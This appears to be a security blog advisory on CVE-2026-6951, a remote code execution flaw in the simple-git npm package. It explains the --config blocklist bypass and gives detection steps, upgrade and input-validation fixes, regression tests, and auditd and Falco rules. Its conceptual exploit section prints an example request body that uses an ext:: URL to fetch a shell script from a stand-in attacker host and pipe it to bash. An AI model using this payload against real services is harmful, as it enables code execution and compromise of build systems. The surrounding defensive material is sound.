Vulnerability Analysis

CVE-2026-6951: Critical RCE in simple-git — What It Is & How to Fix It

Executive Summary

CVE-2026-6951 is a critical Remote Code Execution (RCE) vulnerability in the simple-git npm package (CVSS 9.8) that allows an attacker who can influence the options argument passed to simple-git functions to execute arbitrary code on the host system — with no authentication or user interaction required. The flaw stems from an incomplete fix for CVE-2022-25912: while that earlier patch blocked the -c git flag, it failed to account for the functionally equivalent --config long form. With over 10 million weekly downloads, simple-git is embedded across thousands of CI/CD pipelines, developer tools, and Node.js applications. Teams should treat this as a critical P0 patch — upgrade to simple-git 3.36.0 or later immediately.


1. What Is This Vulnerability?

simple-git is a lightweight JavaScript wrapper for the Git command-line interface. Developers use it to run git operations programmatically from Node.js — cloning repositories, committing, branching, and more. Because it wraps raw git commands, the library must sanitize any user-supplied arguments before passing them to the shell.

In 2022, CVE-2022-25912 revealed that attackers could inject the -c git configuration flag via the options argument, enabling them to override git config at runtime and achieve Remote Code Execution. The simple-git maintainers patched this by blocklisting the -c flag.

CVE-2026-6951 reveals that the fix was incomplete. Git's CLI accepts both a short form (-c) and a long form (--config) for the same configuration override functionality. The 2022 patch only blocked -c, leaving --config untouched and fully exploitable through the same attack path.

The Exploit Mechanism

The attack requires two conditions:

  1. Attacker-controlled options input — the attacker must be able to influence the options argument passed to a simple-git function (e.g., clone(), pull(), etc.).
  2. A git clone operation — the exploit is triggered during a repository clone.

With these conditions met, the attacker injects two git config overrides:

--config protocol.ext.allow=always

This enables the ext:: protocol, which git normally restricts. The ext:: protocol allows git to invoke an arbitrary shell command as its transport layer — effectively turning the clone operation into arbitrary code execution.

Conceptual exploit flow:

// Vulnerable code — user input flows into simple-git options
const userSuppliedRepo = req.body.repoUrl;
const userOptions     = req.body.options; // attacker controls this

await git.clone(userSuppliedRepo, localPath, userOptions);

An attacker POST body might look like:

{
  "repoUrl": "ext::bash -c 'curl http://attacker.com/shell.sh | bash'",
  "options": ["--config", "protocol.ext.allow=always"]
}

Because --config was never added to the blocklist, simple-git passes it straight to the git subprocess — and git dutifully enables the ext:: protocol and executes the shell payload.

Attack Vector

Attribute Value
Attack Vector Network
Attack Complexity Low
Privileges Req. None
User Interaction None
Scope Unchanged
Confidentiality High
Integrity High
Availability High
CVSS v3.1 Score 9.8 Critical

Real-World Impact

The vulnerability was published on April 25, 2026. At time of writing, active exploitation in the wild has not been publicly confirmed, but given the package's enormous install base (~10 million weekly npm downloads), the availability of a clear exploit pattern, and the existence of similar prior exploits (CVE-2022-25912), mass exploitation is a realistic and imminent risk. CI/CD systems are a prime target because they typically clone repositories as part of automated workflows and often run with elevated or cloud-provider credentials attached.


2. Who Is Affected?

Directly vulnerable:

  • All projects using simple-git npm package < version 3.36.0
  • Any Node.js application that passes user-supplied or partially user-controlled data into simple-git function arguments

High-risk deployment contexts:

  • GitHub Actions workflows using custom Node.js scripts that wrap simple-git
  • Jenkins pipelines with Node.js build steps
  • Self-hosted git management tools and portals
  • Code review platforms and repository browsers built on Node.js
  • Developer tooling and CLIs that accept repository URLs or git options as user input

Not affected:

  • Applications using simple-git ≥ 3.36.0
  • Applications where ALL input to simple-git is fully developer-controlled (no external user input flows into options arguments)

Check your dependency tree:

# Check direct dependency
npm list simple-git

# Check all transitive dependencies
npm list --all | grep simple-git

# Audit with npm
npm audit | grep simple-git

3. How to Detect It (Testing)

Manual Testing Steps

Step 1: Identify simple-git usage in your codebase

# Find all files that import or require simple-git
grep -r "simple-git\|simpleGit\|require.*simple-git" --include="*.js" --include="*.ts" .

Step 2: Trace the data flow into simple-git calls

For each call site found, check whether any of these argument positions accept external input:

  • The options array/object parameter of clone(), pull(), fetch(), push()
  • Any configuration passed as an array of strings that is partially constructed from user input

Step 3: Attempt the blocklist bypass (in a sandboxed test environment only)

const simpleGit = require('simple-git');
const git = simpleGit();

// Test whether --config is accepted (DO NOT run against production)
try {
  await git.clone(
    'https://github.com/example/test-repo.git',
    '/tmp/test-clone',
    ['--config', 'protocol.ext.allow=always']
  );
  console.log('VULNERABLE: --config option was not blocked');
} catch (err) {
  console.log('PATCHED: option was blocked');
}

Automated Scanning

Tool: Snyk

# Install and authenticate Snyk
npm install -g snyk
snyk auth

# Run a vulnerability scan focused on simple-git
snyk test --package-manager=npm | grep -A5 "CVE-2026-6951\|simple-git"

Tool: npm audit

npm audit --audit-level=critical 2>&1 | grep -A 10 simple-git

Expected vulnerable output:

simple-git  <3.36.0
Severity: critical
Remote Code Execution - CVE-2026-6951

Tool: OWASP Dependency-Check

dependency-check --project "MyApp" --scan ./node_modules/simple-git \
  --nvdApiKey YOUR_API_KEY --format HTML --out ./report

Tool: Socket.dev (CI/CD integration)

npx @socketsecurity/cli scan --strict 2>&1 | grep simple-git

Code Review Checklist

  • Locate every import/require of simple-git in the codebase
  • For each clone(), pull(), fetch(), push() call — trace whether the options/args parameter can receive any user-supplied data
  • Confirm no user input is interpolated into arrays that are passed as git arguments
  • Verify the resolved version of simple-git in package-lock.json is ≥ 3.36.0
  • Check if any transitive dependency pulls in an old version of simple-git
  • Review CI/CD pipeline definitions (.github/workflows/, Jenkinsfile) for Node.js steps invoking simple-git with external repo URLs

4. How to Fix It (Mitigation)

Step-by-Step Remediation

Step 1: Upgrade simple-git

npm install simple-git@latest
# or pin to the patched version
npm install simple-git@^3.36.0

Step 2: Update package-lock.json and commit it

npm install
git add package.json package-lock.json
git commit -m "security: upgrade simple-git to 3.36.0 (CVE-2026-6951)"

Step 3: Force-resolve if a transitive dependency pins an older version

Add an overrides entry in package.json:

{
  "overrides": {
    "simple-git": "^3.36.0"
  }
}

Or with Yarn:

{
  "resolutions": {
    "simple-git": "^3.36.0"
  }
}

Step 4: Deploy and verify

Run your test suite, then confirm the updated version is live:

node -e "const g = require('simple-git'); console.log(require('./node_modules/simple-git/package.json').version);"

Code Fix Example — Input Validation

Even after upgrading, apply defense-in-depth by validating options before passing to simple-git:

Before (vulnerable pattern):

// User-supplied options flow directly into simple-git
async function cloneRepo(repoUrl, destination, userOptions) {
  const git = simpleGit();
  await git.clone(repoUrl, destination, userOptions);
}

After (hardened pattern):

const ALLOWED_CLONE_OPTIONS = new Set([
  '--depth', '--branch', '--single-branch', '--no-tags', '--quiet'
]);

function sanitizeGitOptions(options) {
  if (!Array.isArray(options)) return [];

  const sanitized = [];
  for (let i = 0; i < options.length; i++) {
    const opt = String(options[i]);

    // Block --config and -c in all forms
    if (/^(--config|-c)(=.*)?$/i.test(opt)) {
      throw new Error(`Blocked disallowed git option: ${opt}`);
    }

    // Allow-list approach: only permit known-safe options
    const baseFlag = opt.split('=')[0];
    if (!ALLOWED_CLONE_OPTIONS.has(baseFlag)) {
      throw new Error(`Unknown git option rejected: ${opt}`);
    }
    sanitized.push(opt);
  }
  return sanitized;
}

async function cloneRepo(repoUrl, destination, userOptions) {
  const git = simpleGit();
  const safeOptions = sanitizeGitOptions(userOptions);
  await git.clone(repoUrl, destination, safeOptions);
}

Configuration Hardening

Git-level protocol restriction (defense-in-depth):

In environments where simple-git cannot be immediately updated, restrict the ext:: protocol at the git configuration level on the host system:

# Globally disable ext:: protocol
git config --global --add protocol.ext.allow never
git config --global --add protocol.allow user

Or set it via environment variable in your CI/CD environment:

export GIT_CONFIG_COUNT=1
export GIT_CONFIG_KEY_0=protocol.ext.allow
export GIT_CONFIG_VALUE_0=never

Principle of least privilege for CI/CD runners:

  • Ensure CI/CD jobs that run git operations do not have access to cloud credentials, secrets managers, or internal networks beyond what the build strictly requires
  • Use ephemeral, short-lived runner environments that are destroyed after each build

5. How to Test the Fix (Validation)

Regression Test Scenarios

  • Scenario A: After upgrading to 3.36.0, run your existing test suite — confirm no regressions in git operation behavior
  • Scenario B: Attempt the bypass with --config protocol.ext.allow=always — confirm it is now blocked and an error is thrown
  • Scenario C: Confirm legitimate git operations (clone with --depth 1, --branch main) still work correctly

Security Test Cases

Test Case 1: Verify the vulnerability no longer exists

  • Precondition: Upgrade simple-git to ≥ 3.36.0 and deploy
  • Steps: Pass ['--config', 'protocol.ext.allow=always'] in the options argument to git.clone()
  • Expected Result: simple-git throws an error or strips the option; no git subprocess is launched with the override

Test Case 2: Verify -c is also still blocked

  • Precondition: Upgrade simple-git to ≥ 3.36.0
  • Steps: Pass ['-c', 'protocol.ext.allow=always'] in the options argument
  • Expected Result: Option is blocked — confirming the original CVE-2022-25912 fix is also still in place

Test Case 3: Verify safe operations function normally

  • Precondition: Upgrade simple-git to ≥ 3.36.0
  • Steps: Run git.clone('https://github.com/example/repo.git', '/tmp/test', ['--depth', '1'])
  • Expected Result: Clone completes successfully — safe options are not blocked

Automated Tests

const simpleGit = require('simple-git');
const assert    = require('assert');

describe('CVE-2026-6951 regression tests', () => {

  it('should block --config option injection', async () => {
    const git = simpleGit();
    await assert.rejects(
      () => git.clone(
        'https://github.com/example/test-repo.git',
        '/tmp/sec-test-1',
        ['--config', 'protocol.ext.allow=always']
      ),
      /blocked|invalid|disallowed/i,
      'Expected --config to be blocked'
    );
  });

  it('should block -c option injection', async () => {
    const git = simpleGit();
    await assert.rejects(
      () => git.clone(
        'https://github.com/example/test-repo.git',
        '/tmp/sec-test-2',
        ['-c', 'protocol.ext.allow=always']
      ),
      /blocked|invalid|disallowed/i,
      'Expected -c to be blocked'
    );
  });

  it('should allow safe clone options', async () => {
    const git = simpleGit();
    // Use a real test repo or mock in your CI environment
    await assert.doesNotReject(
      () => git.clone(
        'https://github.com/your-org/test-repo.git',
        '/tmp/sec-test-3',
        ['--depth', '1', '--single-branch']
      )
    );
  });

});

6. Prevention & Hardening

Best Practices

1. Never trust external input in git options Treat any repository URL or options argument that originates outside your codebase (user input, webhooks, environment variables from third-party sources, API payloads) as untrusted. Always use an explicit allow-list of permitted git flags.

2. Pin and automate dependency updates Use Dependabot, Renovate, or Snyk to automatically receive PRs when security patches are published for your npm dependencies. For critical-severity patches, configure auto-merge rules for patch-level updates.

3. Lock your supply chain Always commit package-lock.json and use npm ci in CI/CD pipelines rather than npm install. This ensures reproducible builds and prevents unexpected dependency upgrades that could introduce vulnerabilities — or prevent security patches from being missed.

4. Run npm audit in CI Add npm audit --audit-level=high as a required gate in your CI pipeline. This will fail builds when critical or high-severity advisories are detected:

# .github/workflows/security.yml
- name: Security Audit
  run: npm audit --audit-level=high

5. Apply the principle of least privilege to git operations Processes that perform git clones should not run with broad system permissions. Isolate them in containers, use dedicated service accounts, and avoid running git operations as root.

Monitoring & Detection

Signs that CVE-2026-6951 may be under active exploitation in your environment:

  • Unexpected outbound network connections originating from CI/CD runner processes during git clone steps
  • Unusual subprocesses spawned by Node.js or git (e.g., bash, curl, wget as children of git)
  • New files or cron jobs appearing on CI/CD runner hosts after clone operations
  • DNS lookups or HTTP requests to unexpected external hosts from builder VMs

Detection with auditd (Linux):

# Audit all git subprocess executions
auditctl -a always,exit -F arch=b64 -S execve \
  -F "exe=/usr/bin/git" -k git_exec_audit

Detection with Falco (Kubernetes/container environments):

- rule: Git spawns unexpected shell
  desc: Detect git spawning a shell — potential ext:: protocol abuse
  condition: >
    spawned_process and proc.name in (bash, sh, dash, zsh)
    and proc.pname = "git"
  output: >
    Git spawned a shell (user=%user.name cmd=%proc.cmdline parent=%proc.pname)
  priority: CRITICAL

References

Latest from the blog

See all →